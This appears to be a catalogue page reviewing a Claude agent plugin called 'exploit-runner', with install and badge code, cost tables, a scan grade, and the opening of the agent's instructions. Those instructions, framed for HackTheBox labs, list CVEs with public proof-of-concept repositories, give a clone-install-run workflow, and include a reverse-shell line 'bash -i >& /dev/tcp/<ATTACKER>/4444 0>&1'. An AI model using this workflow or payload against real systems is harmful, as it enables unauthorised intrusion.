Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
git clone --depth 1 https://github.com/allsmog/blackbox-claude-pluginWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/agents/allsmog/blackbox-claude-plugin/exploit-runner)<a href="https://agentmods.dev/agents/allsmog/blackbox-claude-plugin/exploit-runner"><img src="https://agentmods.dev/badge/agents/allsmog/blackbox-claude-plugin/exploit-runner/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/agents/allsmog/blackbox-claude-plugin/exploit-runner"><img src="https://agentmods.dev/badge/agents/allsmog/blackbox-claude-plugin/exploit-runner.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00147 | $0.01391 |
| Opus 5.5 | $0.00059 | $0.00556 |
| Sonnet 5.5 | $0.00029 | $0.00278 |
| Haiku 4.5 | $0.00015 | $0.00139 |
Grade A, and why
exploit-runner scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
| CVE-2021-41773 | Apache Path Traversal | Built-in (curl) | How it starts
The opening of the file, as written. The whole thing — 188 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Exploit Runner Agent
Purpose
Automatically find, clone, and execute working exploits for identified CVEs.
Behavior
On Invocation
- Identify the CVE or vulnerability
- Search GitHub for PoC exploits
- Clone the most starred/recent repo
- Adapt exploit for target (IP, port, payload)
- Execute and verify success
- Provide troubleshooting if failed
CVE to Exploit Database
Quick reference for common HTB CVEs:
Web Application
| CVE | Name | Exploit Repo |
|---|---|---|
| CVE-2021-41773 | Apache Path Traversal | Built-in (curl) |
| CVE-2021-44228 | Log4Shell | github.com/kozmer/log4j-shell-poc |
| CVE-2022-22965 | Spring4Shell | github.com/BobTheShoplifter/Spring4Shell-POC |
Authentication Bypass
| CVE | Name | Exploit Repo |
|---|---|---|
| CVE-2025-31161 | CrushFTP Auth Bypass | Built-in script |
| CVE-2023-22515 | Confluence Auth Bypass | github.com/Chocapikk/CVE-2023-22515 |
Remote Code Execution
| CVE | Name | Exploit Repo |
|---|---|---|
| CVE-2025-32433 | Erlang SSH Pre-Auth RCE | github.com/ProDefense/CVE-2025-32433 |
| CVE-2024-4577 | PHP-CGI Argument Injection | github.com/watchtowrlabs/CVE-2024-4577 |
| CVE-2023-46747 | F5 BIG-IP RCE | github.com/W01fh4cker/CVE-2023-46747-RCE |
Exploit Search Strategy
# 1. Search GitHub for CVE
# Pattern: CVE-YYYY-NNNNN
# 2. Clone top result
git clone https://github.com/<user>/<repo>.git /tmp/<cve>
# 3. Check for Python exploit
ls /tmp/<cve>/*.py
# 4. Install dependencies if needed
pip install -r /tmp/<cve>/requirements.txt 2>/dev/null
# 5. Read usage
cat /tmp/<cve>/README.md
python /tmp/<cve>/*.py --help
Exploit Adaptation
For each exploit, modify:
# Target configuration
HOST = "<TARGET_IP>"
PORT = <TARGET_PORT>
# Attacker configuration
LHOST = "<ATTACKER_IP>"
LPORT = <LISTENER_PORT>
# Payload (for RCE)
COMMAND = "cat /root/root.txt"
# or
COMMAND = "bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1"
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2mo ago First seen · 188 lines · 147 tokens per session scan A 23eadfaf4258
exploit-runner is an agent published in the GitHub repository allsmog/blackbox-claude-plugin (6 stars, last pushed 8mo ago), licensed MIT. It adds 147 tokens to every session and 1,391 once invoked, about $0.0006 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other agents, from other repositories
csp-bypass-tester
Inspects Content Security Policy headers for policy weaknesses and tests bypass vectors including unsafe-inline, unsafe-eval, wildcard sources, JSONP endpoints, Angular sandbox escape, and open redirects in whitelisted domains. Uses Playwright for browser-based CSP inspection and script execution testing. Follows…
injection-tester
Tests for SQL injection, NoSQL injection, and OS command injection across HTTP parameters, JSON bodies, and headers. Uses sqlmap for automated SQLi detection and curl for manual probing. Follows 4-phase workflow. Deployed by common-appsec-patterns skill coordinator.
Pentester Executor
Executes specific vulnerability tests. Follows 4-phase workflow (Recon → Experiment → Test → Verify), generates PoCs, captures evidence. Specialized by attack type.
Pentester Orchestrator
Penetration-test PLANNER. Reads confirmed scope and recon results, then returns a structured deployment plan (which executors, against which surfaces, in what order, with time allocation and escalation directives). Does NOT deploy executors itself — the /pentest:pentest command (main session) owns dispatch…
domain-assessment
Performs comprehensive domain reconnaissance including passive and active subdomain discovery (subfinder, amass, certificate transparency), port scanning (nmap, masscan), and service enumeration. Builds attack surface inventory. Follows 4-phase workflow. Deployed by domain-assessment skill coordinator.
inventory-api-discovery
Discovers REST API endpoints, GraphQL schemas, SOAP/WSDL services, WebSocket connections, and API documentation (Swagger/OpenAPI/Postman). Enumerates versioned APIs (v1/v2/v3) and undocumented endpoints. Produces structured API endpoint inventory. Follows 4-phase workflow. Deployed by web-application-mapping skill…